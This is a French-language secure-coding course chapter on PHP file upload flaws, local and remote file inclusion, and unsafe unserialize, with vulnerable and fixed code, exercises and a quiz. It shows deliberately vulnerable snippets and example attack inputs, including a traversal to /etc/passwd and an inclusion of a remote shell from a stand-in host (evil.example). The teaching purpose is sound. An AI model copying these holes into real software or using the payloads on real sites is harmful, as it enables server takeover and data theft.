Skip to Content
SécuritéPartie 9 — Sécurité PHP & Symfony9.2 — Uploads, LFI & désérialisation

Chapitre 9.2 — Uploads, LFI & désérialisation

⏱️ TL;DR — Trois vecteurs PHP classiques et graves. Uploads : un fichier uploadé mal contrôlé peut être un script exécutable (.php) déposé dans un dossier servi → RCE. Parades : valider le type réel (pas l’extension déclarée), renommer avec un nom généré, stocker hors de la racine web ou dans un dossier non exécutable. LFI/RFI (Local/Remote File Inclusion) : include/require avec une entrée permet d’inclure un fichier arbitraire (../../etc/passwd, ou un fichier distant) → fuite ou exécution. Parade : jamais d’entrée dans un include ; allow-list de pages. Désérialisation : unserialize() sur une entrée peut instancier des objets et déclencher du code (POP chains) → RCE. Parade : ne jamais désérialiser une entrée ; utiliser JSON.

🎯 Objectifs

  • Sécuriser les uploads de fichiers (type réel, renommage, stockage, exécution).
  • Comprendre et fermer LFI (inclusion locale) et RFI (inclusion distante).
  • Comprendre le danger de la désérialisation d’entrée (unserialize) et l’éviter (JSON).
  • Reconnaître ces trois vecteurs en revue de code.

Uploads : le fichier qui s’exécute

Accepter des fichiers uploadés (photo de profil, document de cours, devoir rendu) est banal — et risqué. Le pire scénario : un attaquant uploade un fichier .php (un webshell), celui-ci est stocké dans un dossier servi par le serveur web, puis l’attaquant y accède par URL → son code s’exécute sur ton serveur (RCE).

Les erreurs qui rendent ça possible :

  • Faire confiance à l’extension ou au Content-Type déclaré (tous deux falsifiables) pour décider que « c’est une image ».
  • Garder le nom d’origine (shell.php, ou photo.php.jpg selon la config Apache, ou une traversée ../../).
  • Stocker dans la racine web, dans un dossier où PHP s’exécute.

Les parades, en couches :

// ✅ Valider le TYPE REEL (pas l'extension), renommer, stocker hors racine web $f = $_FILES['avatar']; $finfo = new finfo(FILEINFO_MIME_TYPE); $mime = $finfo->file($f['tmp_name']); // type reel, lu du contenu $autorises = ['image/jpeg' => 'jpg', 'image/png' => 'png']; if (!isset($autorises[$mime])) { /* rejeter */ } $nom = bin2hex(random_bytes(16)) . '.' . $autorises[$mime]; // nom GENERE (CSPRNG), extension controlee $dest = '/var/app/uploads/' . $nom; // HORS de la racine web servie move_uploaded_file($f['tmp_name'], $dest);
  • Valider le type réel via finfo/getimagesize (analyse du contenu), pas l’extension ni le Content-Type client.
  • Renommer avec un identifiant généré (CSPRNG) + une extension issue de l’allow-list — jamais le nom fourni.
  • Stocker hors de la racine web (ou dans un dossier configuré non exécutable — pas d’exécution PHP, via la config serveur) et limiter la taille.
  • Servir les fichiers via un contrôleur (avec le bon Content-Type et Content-Disposition), ou un dossier statique sans exécution ; poser X-Content-Type-Options: nosniff.
  • Idéalement, re-traiter les images (ré-encodage) pour casser d’éventuels payloads polyglottes.

⚠️ Piège — Vérifier l’extension ou le Content-Type de la requête ne prouve rien : l’attaquant les met à ce qu’il veut. photo.jpg peut être un script PHP ; image/png peut coiffer du code. La seule vérification qui compte est le type réel (analyse du contenu), plus — surtout — un stockage non exécutable et un nom généré. Même une « vraie » image peut cacher du code (polyglotte) : ce qui protège vraiment, c’est que le dossier n’exécute pas de PHP.

LFI / RFI : l’inclusion de fichiers

Quand include/require reçoit une entrée utilisateur pour choisir le fichier à charger, on a une faille d’inclusion de fichiers :

// ❌ LFI/RFI : le fichier inclus est choisi par l'utilisateur $page = $_GET['page']; include $page . '.php'; // ?page=accueil -> include accueil.php (prevu) // attaquant : ?page=../../../../etc/passwd%00 (LFI : lire un fichier local) // attaquant : ?page=http://evil.example/shell (RFI : inclure/executer un fichier distant)
  • LFI (Local File Inclusion) : l’attaquant fait inclure un fichier local arbitraire via une traversée de répertoire (../../) — pour lire des fichiers sensibles (/etc/passwd, config, .env) ou, combiné à d’autres astuces (logs empoisonnés, wrappers php://), exécuter du code.
  • RFI (Remote File Inclusion) : si la config le permet (allow_url_include), inclure un fichier distant contrôlé par l’attaquant → RCE directe. Désactivé par défaut sur PHP moderne, mais historiquement dévastateur.

Parade : ne jamais construire un chemin d’include à partir d’une entrée. Si un contenu doit être dynamique, utiliser une allow-list (comme pour le tri SQL, Partie 6) :

// ✅ Allow-list : l'entree ne fait que CHOISIR une page connue $pages = ['accueil' => 'accueil.php', 'contact' => 'contact.php']; $fichier = $pages[$_GET['page'] ?? 'accueil'] ?? 'accueil.php'; include __DIR__ . '/pages/' . $fichier; // valeurs 100% controlees par nous

Le même risque existe pour toute fonction qui ouvre un fichier avec une entrée (fopen, file_get_contents, readfile, require) : valider et contraindre le chemin (allow-list, basename, vérifier qu’il reste dans le dossier autorisé). C’est aussi le vecteur de la traversée de répertoire (path traversal) lors d’un téléchargement.

Désérialisation : unserialize sur une entrée

La sérialisation transforme un objet en chaîne pour le stocker/transmettre ; la désérialisation fait l’inverse. Le danger : unserialize() de PHP, appliqué à une entrée contrôlée, peut reconstruire des objets arbitraires et déclencher l’exécution de méthodes magiques (__wakeup, __destruct) au moment de la reconstruction. En chaînant des classes présentes dans l’appli (une POP chain / gadget chain), un attaquant peut aboutir à une RCE — sans même que l’appli « utilise » l’objet.

// ❌ Desserialiser une entree : reconstruit des objets arbitraires -> potentielle RCE $data = unserialize($_COOKIE['prefs']); // DANGER si le cookie est controle par l'attaquant // ✅ Utiliser un format de DONNEES (pas d'objets) : JSON $data = json_decode($_COOKIE['prefs'], true); // ne cree pas d'objets, juste des tableaux/scalaires

Parades :

  • Ne jamais unserialize() une donnée non fiable (cookie, paramètre, entrée réseau). C’est la règle simple et suffisante dans l’immense majorité des cas.
  • Utiliser un format de données neutre : JSON (json_decode), qui ne reconstruit pas d’objets ni ne déclenche de code.
  • Si une désérialisation d’objets est vraiment nécessaire (rare), utiliser un mécanisme sûr (allow-list de classes via l’option allowed_classes de unserialize, ou le composant Serializer de Symfony configuré), et signer la donnée (HMAC) pour garantir qu’elle vient de toi.

🎯 Côté attaquant — Sur une appli PHP, l’attaquant cherche : un endpoint d’upload (peut-il déposer un .php exécutable ?), un paramètre qui choisit un fichier (?page=, ?file=, ?template= → LFI/traversée), et toute donnée sérialisée qu’il contrôle (cookie, champ caché) passée à unserialize (→ POP chain vers RCE). Ces trois vecteurs mènent souvent au contrôle du serveur, bien plus grave qu’une simple fuite. Il teste ../, des extensions doubles, des types MIME falsifiés, et injecte des objets sérialisés.

💡 Réflexe — Trois alarmes en revue de code PHP : (1) un move_uploaded_file sans validation du type réel et sans stockage non exécutable → risque webshell ; (2) une variable d’entrée dans include/require/fopen → LFI/traversée, remplacer par une allow-list ; (3) unserialize sur quoi que ce soit venant du client → remplacer par json_decode. Ces trois motifs sont parmi les plus dangereux du PHP.

🧭 Sur FormaCampus — FormaCampus gère des uploads (avatars, devoirs, ressources de cours). Le pipeline : type réel validé par finfo (allow-list d’images/PDF/docs), nom généré (CSPRNG), stockage hors racine web (servi par un contrôleur qui pose Content-Disposition et nosniff), dossier non exécutable, taille limitée, et ré-encodage des images. Aucun include ne dépend d’une entrée (routing Symfony), et aucune donnée client n’est jamais passée à unserialize — les préférences et états transitent en JSON. Ces règles ferment les trois vecteurs qui, sur une EdTech manipulant des fichiers d’utilisateurs, seraient les plus susceptibles de mener à une prise de contrôle du serveur.

✏️ Exercices

Exercice 1 — Sécurise l’upload. Ce code enregistre un avatar. Liste les problèmes et propose un pipeline sûr.

$nom = $_FILES['avatar']['name']; if (str_ends_with($nom, '.jpg')) { move_uploaded_file($_FILES['avatar']['tmp_name'], "public/uploads/$nom"); }

✅ Solution

Problèmes : (1) la vérification porte sur l’extension du nom fourni (falsifiable ; shell.php.jpg ou config Apache douteuse peut exécuter) — pas sur le type réel ; (2) le nom d’origine est conservé (traversée ../, double extension) ; (3) stockage dans public/ — la racine web, où PHP peut s’exécuter → webshell. Pipeline sûr : valider le type réel via finfo/getimagesize (allow-list image/jpeg, image/png), générer un nom aléatoire (bin2hex(random_bytes(16)) + extension de l’allow-list), stocker hors racine web (ou dossier non exécutable), limiter la taille, servir via un contrôleur avec nosniff, et ré-encoder l’image. Ainsi, même un fichier piégé ne peut pas être exécuté.

Exercice 2 — LFI. Explique l’exploitation de include $_GET['tpl'] . '.php' et corrige avec une allow-list.

✅ Solution

Exploitation : l’attaquant contrôle le fichier inclus. En LFI, ?tpl=../../../../etc/passwd%00 (ou via wrappers php://filter, data://) permet de lire des fichiers sensibles ou d’exécuter du code (logs empoisonnés). Si allow_url_include est actif, ?tpl=http://evil.example/shell (RFI) inclut et exécute un fichier distant → RCE. Correctif : ne jamais mettre une entrée dans include. Utiliser une allow-list : $tpls = ['accueil' => 'accueil.php', 'profil' => 'profil.php']; $f = $tpls[$_GET['tpl'] ?? 'accueil'] ?? 'accueil.php'; include __DIR__.'/tpl/'.$f;. L’entrée ne fait que choisir une clé d’un dictionnaire de fichiers que nous contrôlons — aucune traversée ni inclusion arbitraire possible.

🧠 Quiz de révision

1. Pourquoi vérifier l’extension d’un upload ne suffit-il pas ?

Parce que l’extension (et le Content-Type de la requête) sont falsifiables : photo.jpg peut être un script PHP. Il faut valider le type réel (analyse du contenu via finfo), renommer avec un nom généré, et surtout stocker dans un dossier non exécutable / hors racine web pour empêcher l’exécution.

2. Quelle est la conséquence la plus grave d’un upload mal contrôlé ?

Le dépôt d’un webshell (.php) dans un dossier servi et exécutable, accessible par URL → exécution de code sur le serveur (RCE) : prise de contrôle. Bien plus grave qu’une simple fuite.

3. Différence entre LFI et RFI ?

LFI (Local File Inclusion) : inclure un fichier local arbitraire via une traversée (../) → lecture de fichiers sensibles, parfois exécution. RFI (Remote File Inclusion) : inclure un fichier distant contrôlé par l’attaquant → RCE directe (nécessite allow_url_include, désactivé par défaut aujourd’hui). Parade commune : jamais d’entrée dans include, allow-list.

4. Pourquoi unserialize sur une entrée est-il dangereux ?

Parce qu’il reconstruit des objets arbitraires et peut déclencher des méthodes magiques (__wakeup, __destruct) ; en chaînant des classes de l’appli (POP chain), un attaquant peut obtenir une RCE — sans même que l’objet soit « utilisé ». Parade : ne jamais désérialiser une entrée ; utiliser JSON (json_decode).

5. Quels trois motifs de code PHP doivent déclencher une alarme ?

(1) move_uploaded_file sans validation du type réel / stockage exécutable ; (2) une entrée dans include/require/fopen (LFI/traversée) ; (3) unserialize sur une donnée client. Les trois peuvent mener à une prise de contrôle du serveur.


Chapitre suivant : Symfony : firewalls & auth — on passe au framework : le composant Security, les firewalls et les authenticators, pour une authentification robuste et secure by default.

Last updated on